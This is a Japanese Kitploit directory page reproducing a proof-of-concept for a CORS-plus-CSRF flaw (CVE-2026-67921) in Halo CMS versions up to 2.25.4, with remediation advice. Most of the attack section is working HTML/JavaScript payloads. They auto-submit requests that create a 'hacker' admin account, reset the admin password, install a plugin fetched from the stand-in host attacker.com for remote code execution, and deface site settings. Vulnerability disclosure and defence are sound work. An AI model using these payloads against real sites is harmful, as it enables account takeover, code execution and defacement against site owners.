Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
halo-cors-csrf-CVE-2026-67921 — Halo CMSにおけるCORS設定ミスとCSRF保護バイパスを組み合わせた概念実証で、クロスサイトリクエストフォージェリ攻撃により管理者ユーザーの作成、パスワード変更、プラグインのインストール、コンテンツの改変を可能にします。 | Kitploit
ツール/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Halo CMSにおけるCORS設定ミスとCSRF保護バイパスを組み合わせた概念実証で、クロスサイトリクエストフォージェリ攻撃により管理者ユーザーの作成、パスワード変更、プラグインのインストール、コンテンツの改変を可能にします。

リポジトリを見る
16日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-67921: Halo CMS CORS設定ミス + CSRF保護バイパス複合攻撃

概要

Halo CMS バージョン2.25.4以前には、2つのセキュリティ設定ミスにより深刻な複合攻撃の脆弱性が存在します:

  1. CORS設定ミス: CORSポリシーが*(任意のオリジン)をcredentials: trueとともに許可している
  2. CSRF保護バイパス: すべてのAPIエンドポイント(/api/**、/apis/**)がCSRF保護から除外されている

これらが組み合わさると、攻撃者は任意のオリジンからクロスサイトリクエストフォージェリ攻撃を実行でき、CORSが強制することを目的とした同一オリジンポリシー保護をバイパスできます。

CVSS v3.1スコア: 9.3 (Critical)
CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (クロスサイトリクエストフォージェリ) + CWE-942 (過度に寛容なクロスドメインポリシー) CVE ID: CVE-2026-67921


影響を受けるバージョン

  • Halo CMS ≤ 2.25.4
  • CORSが有効でAPIルートのCSRFが無効化されているすべてのバージョン

脆弱性の詳細

脆弱性1: CORS設定ミス

ファイル: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← 任意のオリジン
    configuration.setAllowCredentials(true);                // ← Cookieを許可
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

影響: 任意のWebサイトがユーザーのCookieを使用してHaloのAPIに対して認証済みリクエストを送信できます。

脆弱性2: CSRF保護バイパス

ファイル: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← APIルートがCSRFから除外されている!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

影響: セッションCookieで認証されている場合でも、APIリクエストにCSRFトークンは不要です。


攻撃メカニズム

この組み合わせが危険な理由

保護単独の場合組み合わせた場合
CORS *資格情報をブロック(ブラウザが強制)資格情報が許可される!
CSRFなし同一オリジンポリシーで保護CORSでバイパスされる!
結果安全完全なCSRF

攻撃フロー

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  攻撃者がevil.comに悪意のあるページをホスト                  │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  被害者のブラウザがevil.comにアクセス                        │
│  → フォームがHalo APIに自動送信                             │
│  → ブラウザがセッションCookieを自動的に含める                │
│  → CORS: Origin * + credentials: true → リクエスト許可!      │
│  → CSRF: /apis/** が除外 → トークン不要!                     │
│  → 被害者の権限でリクエストが成功                           │
└─────────────────────────────────────────────────────────────┘

悪用シナリオ

シナリオ1: 管理者ユーザーの作成

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

シナリオ2: 管理者パスワードの変更

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

シナリオ3: 悪意のあるプラグインのインストール (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

シナリオ4: サイトコンテンツの改ざん

root@kitploit:~
<html>
<body>
<script>
  // サイトタイトルの変更
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

概念実証

基本的なCSRFテスト

csrf-test.htmlを作成:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>

<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

検証手順

  1. Haloにログインした状態でブラウザでcsrf-test.htmlを開く
  2. サイトタイトルが変更されたか確認する
  3. ブラウザコンソールでCORSヘッダーを確認する:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

影響分析

攻撃影響深刻度
管理者ユーザーの作成システム全体の侵害Critical
管理者パスワードの変更アカウント乗っ取りCritical
悪意のあるプラグインのインストールリモートコード実行Critical
コンテンツの改ざん改竄High
データの削除データ損失High
データの窃取情報漏えいHigh

修復策

修正1: CORSオリジンの制限

root@kitploit:~
// ワイルドカードを特定のオリジンに置き換える
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

修正2: APIルートのCSRFを有効化

root@kitploit:~
// CSRFマッチャーからAPI除外を削除
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

修正3: Bearerトークン認証の使用

APIエンドポイントでは、CSRFの影響を受けないセッションCookieではなく、Bearerトークン認証を優先的に使用してください。


参考情報

  • ベンダー: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

タイムライン

  • 発見日: 2026-07-10
ツールをダウンロード